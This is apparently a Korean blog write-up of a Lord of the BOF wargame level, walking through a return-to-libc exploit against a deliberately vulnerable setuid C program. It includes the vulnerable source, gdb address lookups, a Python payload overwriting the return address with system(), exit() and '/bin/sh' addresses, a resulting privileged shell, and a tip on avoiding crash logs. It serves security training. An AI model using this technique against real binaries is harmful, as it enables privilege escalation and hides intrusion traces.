RTL.
문제에 스택 자체를 사용하지 못하게 스택 앞 주소인 \xbf 를 아주 막아놓았다.
#include <stdio.h>
#include <stdlib.h>
main(int argc, char *argv[])
{
char buffer[40];
int i;
if(argc < 2){
printf("argv error\n");
exit(0);
}
if(argv[1][47] == '\xbf')
{
printf("stack betrayed you!!\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
}
따라서 우리는 스택의 실행권한이 없거나, 네트워크 단에서 쉘코드를 막아놓았을 때 쓸 수 있는 RTL 기법을 사용해서 이 문제를 풀 수 있다.
일단 먼저 system 함수의 위치, /bin/sh 의 위치, exit (없어도 됨)의 위치를 찾아야 한다.
이 문서를 통해 좀더 자세한 내용을 알 수 있다.
일단 간략하게 스택의 구조를 살펴보면
buffer + sfp + ret 인데, 만약 ret에 특정 함수의 주소가 들어갈 경우
buffer + sfp + &system + sfp + argv(인자)
이런 모양으로 그려진다.
따라서 만약 ret 자리에 system의 주소를 넣고, 인자 자리에 /bin/sh 의 위치를 넣어준다면
system("/bin/sh") 형태로 실행되어 지는 것이다.
+++ 메모리에 /bin/sh 라는 문자열이 있는 이유
나도 처음엔 이게 매우 궁금했다. 왜 메모리에 /bin/sh가 있는가
친구한테 들은 이유는 system() 자체가 /bin/sh 를 이용하기 때문에,
함수내의 문자열이 있는거라고 했다.
따라서 payload.py 는 이렇게 구성하였다
from struct import *
import os
p = lambda x:pack("<L", x)
system_addr = p(0x40058ae0)
exit_addr = p(0x400391e0)
binsh_addr = p(0x400fbff9)
TARGET = "../bugbear "
payload=""
payload = TARGET + "\x90"*44 + system_addr + exit_addr + binsh_addr
os.system(payload)
파이썬은 아직 익숙치 않아 고생좀 했다. 좀더 연습이 필요할 것 같다.
system() 과 exit() 함수의 위치는 gdb 를 통해 알아내었다.
[darkknight@localhost asdf]$ gdb -q bugbear
(gdb) b main
Breakpoint 1 at 0x8048436
(gdb) r
Starting program: /home/darkknight/asdf/bugbear
Breakpoint 1, 0x8048436 in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0x40058ae0 <__libc_system>
(gdb) p exit
$2 = {void (int)} 0x400391e0 <exit>
(gdb)
그리고 /bin/sh 의 위치는 c 프로그램으로 알아내었는데,
#include <stdio.h>
#include <stdlib.h>
#define SYSTEM_ADDR 0x40058ae0
#define EXIT_ADDR 0x400391e0
int main(){
char *sysaddr = SYSTEM_ADDR;
for (;;){
if (!(strncmp(sysaddr,"/bin/sh",7))){
printf("%p is SYSTEM_ADDR!\n",SYSTEM_ADDR);
printf("%p is EXIT_ADDR!\n",EXIT_ADDR);
printf("%p is /bin/sh ADDR!!\n");
return 0;
}
sysaddr++;
}
}
으로 알아내었다.
결과---
[darkknight@localhost asdf]$ ls
bugbear payload.py searchaddr.c test.py
[darkknight@localhost asdf]$ python payload.py
ɀσ@
bash$ Xshell
sh: Xshell: command not found
bash$ id
uid=512(darkknight) gid=512(darkknight) euid=513(bugbear) egid=513(bugbear) groups=512(darkknight)
bash$ my-pass
euid = 513
new divide
bash$
++++ 페이로드 중간에 exit() 함수의 주소를 넣는 이유
사실 아무 값이나 넣어도 된다. 하지만 정식 주소값이 들어가 있지 않을경우 프로그램이 비정상종료 로 인식되어 로그에 남게된다. 따라서 정상종료 처럼 보이게 하기 위해서 exit() 주소를 넣어주는 것이다.
'Wargame > LOB(끝)' 카테고리의 다른 글
파이썬 버그 0x0f -> 0x00 (0) | 2015.03.22 |
---|---|
bugbear -> giant (0) | 2015.03.22 |
공유 라이브러리 하이재킹, 1 byte overwirte 는 건너뜁니다. (0) | 2015.03.20 |
vampire -> skeleton (0) | 2015.02.02 |
troll -> vampire (0) | 2015.02.02 |